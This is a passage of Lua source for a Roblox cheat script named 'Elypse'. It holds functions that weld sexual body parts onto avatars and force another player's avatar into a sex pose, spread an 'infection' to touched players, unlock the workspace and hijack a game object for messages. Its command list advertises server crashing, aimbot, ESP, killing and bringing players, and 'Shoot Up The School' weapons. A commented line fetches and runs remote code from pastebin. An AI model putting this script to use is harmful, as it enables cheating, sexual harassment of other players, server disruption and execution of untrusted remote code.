- MAIN.TopSurface = 0 MAIN.BottomSurface = 0 MAIN.Name = 'Main' MAIN.Size = Vector3.new(0.6, 2.5, 0.6) MAIN.BrickColor = BrickColor.new(DONG_COLOR) MAIN.Position = PLAYER.Character.Head.Position MAIN.CanCollide = false
- W1.Part0 = MAIN W1.Part1 = PLAYER.Character.Head W1.C0 = CFrame.new(0, 0.25, 2.1) * CFrame.Angles(math.rad(45), 0, 0)
- P1.Name = 'Mush' P1.BottomSurface = 0 P1.TopSurface = 0 P1.Size = Vector3.new(0.6, 0.6, 0.6) P1.CFrame = CFrame.new(MAIN.Position) P1.BrickColor = BrickColor.new('Pink') P1.CanCollide = false
- M2.MeshType = 'Sphere'
- W2.Part0 = MAIN W2.Part1 = P1 W2.C0 = CFrame.new(0, 1.3, 0)
- B1.Name = 'Left Ball' B1.BottomSurface = 0 B1.TopSurface = 0 B1.CanCollide = false B1.Size = Vector3.new(1, 1, 1) B1.CFrame = CFrame.new(PLAYER.Character['Left Leg'].Position) B1.BrickColor = BrickColor.new(DONG_COLOR)
- M3.Parent = B1 M3.MeshType = 'Sphere'
- W3.Part0 = PLAYER.Character['Left Leg'] W3.Part1 = B1 W3.C0 = CFrame.new(0, 0.5, -0.5)
- B2.Name = 'Right Ball' B2.BottomSurface = 0 B2.CanCollide = false B2.TopSurface = 0 B2.Size = Vector3.new(1, 1, 1) B2.CFrame = CFrame.new(PLAYER.Character['Right Leg'].Position) B2.BrickColor = BrickColor.new(DONG_COLOR)
- M4.MeshType = 'Sphere'
- W4.Part0 = PLAYER.Character['Right Leg'] W4.Part1 = B2 W4.C0 = CFrame.new(0, 0.5, -0.5)
- end
- function SCALE(C, S)
- if tonumber(S) < 0.5 then S = 0.5 elseif tonumber(S) > 25 then S = 25 end
- local HAT_CLONE = {}
- for i,v in pairs(C:GetChildren()) do if v:IsA('Accessory') then local HC = v:Clone() table.insert(HAT_CLONE, HC) v:destroy() end end
- local HEAD = C.Head
- local TORSO = C.Torso
- local LA = C['Left Arm']
- local RA = C['Right Arm']
- local LL = C['Left Leg']
- local RL = C['Right Leg']
- local HRP = C.HumanoidRootPart
- HEAD.Size = Vector3.new(S * 2, S, S)
- TORSO.Size = Vector3.new(S * 2, S * 2, S)
- LA.Size = Vector3.new(S, S * 2, S)
- RA.Size = Vector3.new(S, S * 2, S)
- LL.Size = Vector3.new(S, S * 2, S)
- RL.Size = Vector3.new(S, S * 2, S)
- HRP.Size = Vector3.new(S * 2, S * 2, S)
- local M1 = Instance.new('Motor6D', TORSO)
- local M2 = Instance.new('Motor6D', TORSO)
- local M3 = Instance.new('Motor6D', TORSO)
- local M4 = Instance.new('Motor6D', TORSO)
- local M5 = Instance.new('Motor6D', TORSO)
- local M6 = Instance.new('Motor6D', HRP)
- M1.Name = 'Neck' M1.Part0 = TORSO M1.Part1 = HEAD M1.C0 = CFrame.new(0, 1 * S, 0) * CFrame.Angles(-1.6, 0, 3.1) M1.C1 = CFrame.new(0, -0.5 * S, 0) * CFrame.Angles(-1.6, 0, 3.1)
- M2.Name = 'Left Shoulder' M2.Part0 = TORSO M2.Part1 = LA M2.C0 = CFrame.new(-1 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0) M2.C1 = CFrame.new(0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0)
- M3.Name = 'Right Shoulder' M3.Part0 = TORSO M3.Part1 = RA M3.C0 = CFrame.new(1 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0) M3.C1 = CFrame.new(-0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0)
- M4.Name = 'Left Hip' M4.Part0 = TORSO M4.Part1 = LL M4.C0 = CFrame.new(-1 * S, -1 * S, 0) * CFrame.Angles(0, -1.6, 0) M4.C1 = CFrame.new(-0.5 * S, 1 * S, 0) * CFrame.Angles(0, -1.6, 0)
- M5.Name = 'Right Hip' M5.Part0 = TORSO M5.Part1 = RL M5.C0 = CFrame.new(1 * S, -1 * S, 0) * CFrame.Angles(0, 1.6, 0) M5.C1 = CFrame.new(0.5 * S, 1 * S, 0) * CFrame.Angles(0, 1.6, 0)
- M6.Name = 'RootJoint' M6.Part0 = HRP M6.Part1 = TORSO M6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) M6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
- for i,v in pairs(HAT_CLONE) do v.Parent = C end
- end
- function CAPE(COLOR)
- if LP.Character:FindFirstChild('Cape') then LP.Character.Cape:destroy() end
- repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso')
- local T = LP.Character.Torso
- local C = Instance.new('Part', T.Parent)
- C.Name = 'cape_seth'
- C.Anchored = false
- C.CanCollide = false
- C.TopSurface = 0
- C.BottomSurface = 0
- C.BrickColor = BrickColor.new(COLOR)
- C.Material = 'Neon'
- C.Size = Vector3.new(0.2, 0.2, 0.2)
- local M = Instance.new('BlockMesh', C)
- M.Scale = Vector3.new(9, 17.5, 0.5)
- local M1 = Instance.new('Motor', C)
- M1.Part0 = C
- M1.Part1 = T
- M1.MaxVelocity = 1
- M1.C0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0)
- M1.C1 = CFrame.new(0, 1, .45) * CFrame.Angles(0, math.rad(90), 0)
- local WAVE = false
- repeat wait(1 / 44)
- local ANG = 0.2
- local oldMag = T.Velocity.magnitude
- local MV = 0.1
- if WAVE then
- ANG = ANG + ((T.Velocity.magnitude / 10) * 0.05) + 1
- WAVE = false
- else
- WAVE = false
- end
- ANG = ANG + math.min(T.Velocity.magnitude / 30, 1)
- M1.MaxVelocity = math.min((T.Velocity.magnitude / 10), 0.04) + MV
- M1.DesiredAngle = -ANG
- if M1.CurrentAngle < -0.05 and M1.DesiredAngle > -.05 then
- M1.MaxVelocity = 0.04
- end
- repeat
- wait()
- until M1.CurrentAngle == M1.DesiredAngle or math.abs(T.Velocity.magnitude - oldMag) >= (T.Velocity.magnitude / 10) + 1
- if T.Velocity.magnitude < 0.1 then
- wait(0.1)
- end
- until not C or C.Parent ~= T.Parent
- end
- function INFECT(PLAYER)
- for i,v in pairs(PLAYER.Character:GetChildren()) do
- Instance.new('Folder', PLAYER.Character).Name = 'infected_seth'
- if v:IsA('Accessory') or v:IsA('Shirt') or v:IsA('Pants') then
- v:destroy()
- elseif v:IsA('ShirtGraphic') then
- v.Archivable = false
- v.Graphic = ''
- end
- end
- if PLAYER.Character.Head:FindFirstChild('face') then
- PLAYER.Character.Head.face.Texture = 'rbxassetid://7074882'
- end
- for i,v in pairs (PLAYER.Character:GetChildren()) do
- if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
- if v.Name == 'Head' or v.Name == 'Left Arm' or v.Name == 'Right Arm' then
- v.BrickColor = BrickColor.new('Medium green')
- elseif v.Name == 'Torso' or v.Name == 'Left Leg' or v.Name == 'Right Leg' then
- v.BrickColor = BrickColor.new('Brown')
- end
- end
- end
- local T = PLAYER.Character.Torso.Touched:connect(function(TC)
- if not TC.Parent:FindFirstChild('infected_seth') then
- local GPFC = ElypsePlayers:GetPlayerFromCharacter(TC.Parent)
- if GPFC then
- INFECT(GPFC)
- end
- end
- end)
- end
- function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F)
- local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent funcw.Part0 = zPart0 funcw.Part1 = zPart1
- if (zCoco) then
- funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
- else
- funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
- end
- return funcw
- end
- function BANG(VICTIM)
- spawn(function()
- local P1 = ElypsePlayers.LocalPlayer.Character.Torso
- local V1 = ElypsePlayers[VICTIM].Character.Torso
- V1.Parent.Humanoid.PlatformStand = true
- P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1) LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0) LA1.Name = 'Left Shoulder'
- P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1) RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0) RS1.Name = 'Right Shoulder'
- V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1) LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0) LS2.Name = 'Left Shoulder'
- V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1) RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0) RS2.Name = 'Right Shoulder'
- V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0 = V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name = 'Left Hip'
- V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1) RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0) RH2.Name = 'Right Hip'
- local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0 D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball' D.Size = Vector3.new(1, 1, 1)
- local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere' DM1.Scale = Vector3.new(0.4, 0.4, 0.4)
- fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0)
- local D2 = D:Clone() D2.Parent = P1
- fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0)
- local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0 C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.Size = Vector3.new(0.4, 1.3, 0.4)
- fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2), math.rad(-80), 0, 0)
- local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink') C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1
- fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10), 0, 0)
- local CM = Instance.new('CylinderMesh', C)
- local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface = 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape = 'Ball' BL.Size = Vector3.new(1, 1, 1)
- local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere' DM2.Scale = Vector3.new(1.2, 1.2, 1.2)
- fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0)
- local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface = 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape = 'Ball' BR.Size = Vector3.new(1, 1, 1)
- local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere' DM3.Scale = Vector3.new(1.2, 1.2, 1.2)
- fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0)
- local BLN = Instance.new('Part', V1) BLN.TopSurface = 0 BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor = BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1)
- local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere' DM4.Scale = Vector3.new(0.2, 0.2, 0.2)
- fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0)
- local BRN = Instance.new('Part', V1) BRN.TopSurface = 0 BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor = BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1)
- local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere' DM5.Scale = Vector3.new(0.2, 0.2, 0.2)
- fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0)
- LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1 = CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0)
- LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0) RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0)
- LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1 = CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0)
- if P1:FindFirstChild('weldx') then P1.weldx:destroy() end
- WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0, 0)
- local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-210), math.rad(180), 0)
- end)
- spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, -0.3, 0) end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0) end end end)
- end
- function RESPAWN(PLAYER)
- local M = Instance.new('Model', ElypseWorkspace) M.Name = 'respawn_seth'
- local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false T.Transparency = 1
- Instance.new('Humanoid', M)
- PLAYER.Character = M
- end
- function LOAD_MESSAGE(STRING)
- ElypsePlayers.LocalPlayer.CharacterAppearanceId = 20018
- RESPAWN(LP)
- R = false
- LP.CharacterAdded:connect(function()
- if not R then
- wait(0.5)
- if LP.Character:FindFirstChild('Humanoid') then
- MAIN_HAT = LP.Character:FindFirstChild('BunnyEarsOfCaprice'):Clone()
- end
- R = true
- end
- end)
- repeat wait() until R
- RESPAWN(LP)
- LP.CharacterAppearanceId = 0
- if MAIN_HAT then
- MAIN_HAT.Handle.CanCollide = true
- local M = MAIN_HAT.Handle.BunnyTools.EggScript3:Clone()
- local P = Instance.new('Part')
- M.Disabled = false
- M.Parent = P
- MAIN_HAT.Handle.BunnyTools.EggMesh3:Clone().Parent = P
- MAIN_HAT:destroy()
- P.Parent = LP.Character
- repeat wait() until LP:FindFirstChild('ChessMsg')
- MG = LP:FindFirstChild('ChessMsg')
- MG.Name = 'message_seth'
- MG.Text = ''
- MG.Parent = ElypseWorkspace
- MESSAGE(STRING)
- P:destroy()
- for i,v in pairs(ElypseWorkspace:GetChildren()) do
- if v:IsA('Part') and v.BrickColor == BrickColor.new('Bright red') and v.Reflectance == 0 and v.Transparency == 0 and not v.Anchored and v.CanCollide and v.Locked and v:FindFirstChild('Decal') and v.Size == Vector3.new(8, 0.4, 8) then
- if v.Decal.Texture == 'http://www.roblox.com/asset/?id=1531000' and v.Transparency == 0 and v.Decal.Face == Enum.NormalId.Top then
- v:destroy()
- end
- end
- end
- end
- end
- function MESSAGE(STRING)
- if not MessageOnScreenBool then
- spawn(function()
- MessageOnScreenBool = true
- MG.Text = STRING
- wait(5)
- MG.Text = ''
- MessageOnScreenBool = false
- end)
- end
- end
- _G.CLICK_TP = false
- local M_CTRL = false
- MOUSE.KeyDown:connect(function(K) if K:byte() == 50 then M_CTRL = true end end)
- MOUSE.KeyUp:connect(function(K) if K:byte() == 50 then M_CTRL = false end end)
- MOUSE.Button1Down:connect(function() if _G.CLICK_TP and M_CTRL and MOUSE.Target and LP.Character and LP.Character:FindFirstChild('HumanoidRootPart') then LP.Character.HumanoidRootPart.CFrame = CFrame.new(MOUSE.Hit.p) + Vector3.new(0, 3, 0) end end)
- ElypseLighting.Outlines = false -- / outlines are gross
- if FIND_IN_TABLE(BANS, LP.userId) then LP:Kick() end
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if FIND_IN_TABLE(BANS, v.userId) then table.insert(KICKS, v) else UPDATE_CHAT(v) end end
- wait(0.001)
- Elypse('cmds','cmds',{},
- function(ARGS, SPEAKER)
- warn("1: FightPack - Custom Fight Animation Hotkeys")
- warn("2: Animations - Animtaion Gui")
- warn("3: FeGui - OPFinality Filtering Disabled Gui")
- warn("4: DoubleJump - Jump Twice")
- warn("5: JumpFlip - Ninja Roll Animation When In Air")
- warn("6: UnlockWs - Unlock Workspace")
- warn("7: LockWs - Lock Workspace")
- warn("8: BTools [plr] - Building Tools")
- warn("9: Uzi - Shoot Up The School With An Uzi")
- warn("10: Glock - Shoot Up The School With A Glock")
- warn("11: Shotty - Shoot Up The School With A Shotty")
- warn("12: Chicken - Buy Chicken")
- warn("13: Burger - Buy A Burger")
- warn("14: Drink - Buy A Drink")
- warn("15: Bank - Teleport To Bank")
- warn("16: Prison - Teleport To Prison")
- warn("17: NoClipKey [plr] - Press T To Toggle NoClip")
- warn("18: ClickTp [plr] - Crouch And Click To Teleport")
- warn("19: Bypass [plr] - Example: `Bypass me`")
- warn("20: Crash - Crashes The Server")
- warn("21: Fly - Toggles Flying Mode")
- warn("22: UnFly - UnToggles Flying Mode")
- warn("23: Credits - Shows The Credits")
- warn("24: Aimbot [plr] - Give YourSelf Aimbot")
- warn("25: Items - Gets All The Items In The Map")
- warn("26: CopyId [plr] - Steal An Audio ID That Someone Is Playing")
- warn("27: FunnyWalk - Makes You Walk Really Weird")
- warn("28: HatSpin - Spins All Ur Hats")
- warn("29: Music - Opens A Music Gui That Lets You Play Hashes")
- warn("30: Bfg - BFG 5.0, Use Multiple Guns At Once")
- warn("31: AirJump - Jump While In Mid Air")
- warn("32: Cords - Prints Current Cords")
- warn("33: Protect - Automatically Protects You Once Hit")
- warn("34: Stamina - Gives You Infinite Stamina")
- warn("35: HideName - Hides Your Name")
- warn("36: view [plr] - View A Player")
- warn("37: UnView - Stop Viewing Player")
- warn("38: Fight - Custom Punch, Knife And Pipe Animations")
- warn("39: Annoy [plr] - Annoy A Player")
- warn("40: ChatLogs - ChatLogs Gui")
- warn("41: NoLimbs [plr] - Remove Limbs")
- warn("42: Mute [plr] - Mute A Players Radio [Local Only]")
- warn("43: Hover [plr] - Hovering Animations")
- warn("44: FeGod [plr] - Anti RK")
- warn("45: UnFeGod [plr] - Remove Anti RK")
- warn("46: Showname [plr] - Show Someones Name")
- warn("47: God - God Yourself, You Can Use Guns With This!")
- warn("48: UnAnnoy - Stop Annoying Player")
- warn("49: Ammo - Gives You Ammo")
- warn("50: Pipe - Gives You A Pipe")
- warn("51: DevGui - Opens Developer Gui")
- warn("52: Discord - Prints The Latest Discord Invite In Console")
- warn("53: Version - Shows The Current Version Of Elypse")
- warn("54: Elypse - Tells Everyone Your Using The Best Script")
- warn("55: OutOfMap - Teleports You Out Of The Map")
- warn("56: AboveMap - Teleports You Above The Map")
- warn("57: Bar - Teleports You To Bar")
- warn("58: Aps - Teleports You To Apartments")
- warn("59: Sandpit - Teleports You To Sandpit")
- warn("60: Machete - Buys A Machete")
- warn("61: Bat - Buys A Bat")
- warn("62: Spray - Buys A Spray Can")
- warn("63: UnGod - Removes God Mode")
- warn("64: Reset - Resets Your Player")
- warn("65: Doors - Unlocks Doors Without LockPick")
- warn("66: Prefix [string] - Changes The Prefix")
- warn("67: To [plr] - Teleports You To A Specified Player")
- warn("68: JP [plr] [int] - Change Jumping Power")
- warn("69: WS [plr] [int] - Change Walking Speed")
- warn("70: Heal - Heals You")
- warn("71: Heal - Heals You When You Press 'g'")
- warn("72: ESP - Loads ESP Gui")
- warn("73: BoomHead - You Have A BoomBox On Your Head")
- warn("74: ShottyDick - You Have A Shotty As A Penis")
- warn("75: SawedOffDick - You Have A SawedOff As A Penis")
- warn("76: Leave - Removes You From Game")
- warn("77: Bring - Brings A Player To You")
- warn("78: Kill - Kills A Player")
- warn("79: LockPick - Gives You A LockPick")
- warn("80: GolfClub - Gives You A Golf Club")
- warn("81: CmdGui - Opens The Commands Gui")
- warn("82: ShiftLock [on/off], Enables/Disables ShiftLock")
- warn("83: MacheteDick - Have A Machete For A Penis")
- warn("84: NoobPack - Noob Animation Pack")
- warn("85: InjuredPack - Injured Animtaion Pack")
- warn("86: HoverBoard - Lets You Levitate Above Your HoverBoard")
- warn("87: Briefcase - Turns Your BoomBox Into A BriefCase")
- warn("88: AutoHeal - Auto Heals You When Your Health Is Low, (Kinda Broken Atm)")
- end)
- Elypse('btools','btools [plr]',{},
- function(ARGS, SPEAKER)
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- Instance.new('HopperBin', ElypsePlayers[v].Backpack).BinType = 2
- Instance.new('HopperBin', ElypsePlayers[v].Backpack).BinType = 3
- Instance.new('HopperBin', ElypsePlayers[v].Backpack).BinType = 4
- end
- game.StarterGui:SetCore("SendNotification", {
- Title = "Building Tools Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('to','to [plr]',{},
- function(ARGS, SPEAKER)
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- local PCHAR = ElypsePlayers[v].Character
- if PCHAR then
- SPEAKER.Character.HumanoidRootPart.CFrame = PCHAR.HumanoidRootPart.CFrame
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported To ";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end
- end
- end)
- Elypse('unlockws','unlock',{'unlock'},
- function(ARGS, SPEAKER)
- local function UNLOCK(INSTANCE)
- for i,v in pairs(INSTANCE:GetChildren()) do
- if v:IsA('BasePart') then
- v.Locked = false
- end
- UNLOCK(v)
- end
- end
- UNLOCK(ElypseWorkspace)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Workspace Unlocked";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('god','god',{},
- function(ARGS, SPEAKER)
- GODMODEENABLE()
- --loadstring(game:HttpGet(('https://pastebin.com/raw/QHRYTEuF'),true))()
- end)
- Elypse('cmdgui','cmdgui',{},
- function(ARGS, SPEAKER)
- local ScreenGui = Instance.new("ScreenGui")
- local CmdsUI = Instance.new("Frame")
- local CmdsTitleBar = Instance.new("Frame")
- local TitleCmdsLbl = Instance.new("TextLabel")
- local CloseCmdsButton = Instance.new("TextButton")
- local ScrollingFrame = Instance.new("ScrollingFrame")
- local TextLabel = Instance.new("TextLabel")
- ScreenGui.Parent = game.CoreGui
- CmdsUI.Name = "CmdsUI"
- CmdsUI.Parent = ScreenGui
- CmdsUI.BackgroundColor3 = Color3.new(0.196078, 0.196078, 0.196078)
- CmdsUI.BorderColor3 = Color3.new(0, 0, 0)
- CmdsUI.BorderSizePixel = 4
- CmdsUI.Position = UDim2.new(0.378610939, 0, 0.154584229, 0)
- CmdsUI.Size = UDim2.new(0, 395, 0, 648)
- CmdsTitleBar.Name = "CmdsTitleBar"
- CmdsTitleBar.Parent = CmdsUI
- CmdsTitleBar.BackgroundColor3 = Color3.new(0.196078, 0.196078, 0.196078)
- CmdsTitleBar.BorderColor3 = Color3.new(0, 0, 0)
- CmdsTitleBar.BorderSizePixel = 4
- CmdsTitleBar.Size = UDim2.new(0, 395, 0, 27)
- TitleCmdsLbl.Name = "TitleCmdsLbl"
- TitleCmdsLbl.Parent = CmdsTitleBar
- TitleCmdsLbl.BackgroundColor3 = Color3.new(0.196078, 0.196078, 0.196078)
- TitleCmdsLbl.BorderColor3 = Color3.new(0, 0, 0)
- TitleCmdsLbl.BorderSizePixel = 4
- TitleCmdsLbl.Size = UDim2.new(0, 395, 0, 26)
- TitleCmdsLbl.Font = Enum.Font.ArialBold
- TitleCmdsLbl.Text = "Commands"
- TitleCmdsLbl.TextColor3 = Color3.new(1, 1, 1)
- TitleCmdsLbl.TextSize = 16
- TitleCmdsLbl.TextStrokeColor3 = Color3.new(1, 1, 1)
- CloseCmdsButton.Name = "CloseCmdsButton"
- CloseCmdsButton.Parent = TitleCmdsLbl
- CloseCmdsButton.BackgroundColor3 = Color3.new(1, 0, 0.0156863)
- CloseCmdsButton.BorderColor3 = Color3.new(0, 0, 0)
- CloseCmdsButton.BorderSizePixel = 0
- CloseCmdsButton.Position = UDim2.new(0.933842242, 0, 0, 0)
- CloseCmdsButton.Size = UDim2.new(0, 26, 0, 26)
- CloseCmdsButton.Font = Enum.Font.SourceSans
- CloseCmdsButton.Text = ""
- CloseCmdsButton.TextSize = 14
- CloseCmdsButton.MouseButton1Click:connect(function()
- CloseCmdsButton.Visible = true
- CmdsUI.Visible = false
- end)
- ScrollingFrame.Parent = CmdsUI
- ScrollingFrame.BackgroundColor3 = Color3.new(0.196078, 0.196078, 0.196078)
- ScrollingFrame.BackgroundTransparency = 1
- ScrollingFrame.BorderColor3 = Color3.new(0, 0, 0)
- ScrollingFrame.BorderSizePixel = 0
- ScrollingFrame.Position = UDim2.new(0, 0, 0.0401234552, 0)
- ScrollingFrame.Size = UDim2.new(0, 395, 0, 622)
- TextLabel.Parent = ScrollingFrame
- TextLabel.Active = true
- TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel.BackgroundTransparency = 1
- TextLabel.Position = UDim2.new(0, 0, 0.00803858507, 0)
- TextLabel.Selectable = true
- TextLabel.Size = UDim2.new(0, 378, 0, 1205)
- TextLabel.Font = Enum.Font.Arial
- TextLabel.Text = "1: FightPack - Custom Fight Animation Hotkeys\n2: Animations - Animtaion Gui\n3: FeGui - OPFinality Filtering Disabled Gui\n4: DoubleJump - Jump Twice\n5: JumpFlip - Ninja Roll Animation When In Air\n6: UnlockWs - Unlock Workspace\n7: LockWs - Lock Workspace\n8: BTools [plr] - Building Tools\n9: Uzi - Shoot Up The School With An Uzi\n10: Glock - Shoot Up The School With A Glock\n11: Shotty - Shoot Up The School With A Shotty\n12: Chicken - Buy Chicken\n13: Burger - Buy A Burger\n14: Drink - Buy A Drink\n15: Bank - Teleport To Bank\n16: Prison - Teleport To Prison\n17: NoClipKey [plr] - Press T To Toggle NoClip\n18: ClickTp [plr] - Crouch And Click To Teleport\n19: Bypass [plr] - Example: `Bypass me`\n20: Crash - Crashes The Server\n21: Fly - Toggles Flying Mode\n22: UnFly - UnToggles Flying Mode\n23: Credits - Shows The Credits\n24: Aimbot [plr] - Give YourSelf Aimbot\n25: Items - Gets All The Items In The Map\n26: CopyId [plr] - Steal An Audio ID That Someone Is Playing\n27: FunnyWalk - Makes You Walk Really Weird\n28: HatSpin - Spins All Ur Hats\n29: Music - Opens A Music Gui That Lets You Play Hashes\n30: Bfg - BFG 5.0, Use Multiple Guns At Once\n31: AirJump - Jump While In Mid Air\n32: Cords - Prints Current Cords\n33: Protect - Automatically Protects You Once Hit\n34: Stamina - Gives You Infinite Stamina\n35: HideName - Hides Your Name\n36: view [plr] - View A Player\n37: UnView - Stop Viewing Player\n38: Fight - Custom Punch, Knife And Pipe Animations\n39: Annoy [plr] - Annoy A Player\n40: ChatLogs - ChatLogs Gui\n41: NoLimbs [plr] - Remove Limbs\n42: Mute [plr] - Mute A Players Radio [Local Only]\n43: Hover [plr] - Hovering Animations\n44: FeGod [plr] - Anti RK\n45: UnFeGod [plr] - Remove Anti RK\n46: Showname [plr] - Show Someones Name\n47: God - God Yourself, You Can Use Guns With This!\n48: UnAnnoy - Stop Annoying Player\n49: Ammo - Gives You Ammo\n50: Pipe - Gives You A Pipe\n51: DevGui - Opens Developer Gui\n52: Discord - Prints The Latest Discord Invite In Console\n53: Version - Shows The Current Version Of Elypse\n54: Elypse - Tells Everyone Your Using The Best Script\n55: OutOfMap - Teleports You Out Of The Map\n56: AboveMap - Teleports You Above The Map\n57: Bar - Teleports You To Bar\n58: Aps - Teleports You To Apartments\n59: Sandpit - Teleports You To Sandpit\n60: Machete - Buys A Machete\n61: Bat - Buys A Bat\n62: Spray - Buys A Spray Can\n63: UnGod - Removes God Mode\n64: Reset - Resets Your Player\n65: Doors - Unlocks Doors Without LockPick\n66: Prefix [string] - Changes The Prefix\n67: To [plr] - Teleports You To A Specified Player\n68: JP [plr] [int] - Change Jumping Power\n69: WS [plr] [int] - Change Walking Speed\n70: Heal - Heals You\n71: Heal - Heals You When You Press 'g'\n72: ESP - Loads ESP Gui\n73: BoomHead - You Have A BoomBox On Your Head\n74: ShottyDick - You Have A Shotty As A Penis\n75: SawedOffDick - You Have A SawedOff As A Penis\n76: Leave - Removes You From Game\n77: Bring - Brings A Player To You\n78: Kill - Kills A Player\n79: LockPick - Gives You A LockPick\n80: GolfClub - Gives You A Golf Club\n81: CmdGui - Opens The Commands Gui\n82: ShiftLock [on/off], Enables/Disables ShiftLock\n83: MacheteDick - Have A Machete For A Penis\n84: NoobPack - Noob Animation Pack\n85: InjuredPack - Injured Animtaion Pack\n86: HoverBoard - Lets You Levitate Above Your HoverBoard\n87: Briefcase - Turns Your BoomBox Into A BriefCase\n88: AutoHeal - Auto Heals You When Your Health Is Low, (Kinda Broken Atm)"
- TextLabel.TextColor3 = Color3.new(1, 1, 1)
- TextLabel.TextSize = 14
- TextLabel.TextWrapped = true
- TextLabel.TextXAlignment = Enum.TextXAlignment.Left
- TextLabel.TextYAlignment = Enum.TextYAlignment.Top
- CmdsUI.Active = true
- CmdsUI.Selectable = true
- --CmdsUI.Draggable = true
- end)
- Elypse('lockws','lock',{'lock'},
- function(ARGS, SPEAKER)
- local function LOCK(INSTANCE)
- for i,v in pairs(INSTANCE:GetChildren()) do
- if v:IsA('BasePart') then
- v.Locked = true
- end
- LOCK(v)
- end
- end
- LOCK(ElypseWorkspace)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Workspace Locked";
- --Text = "";
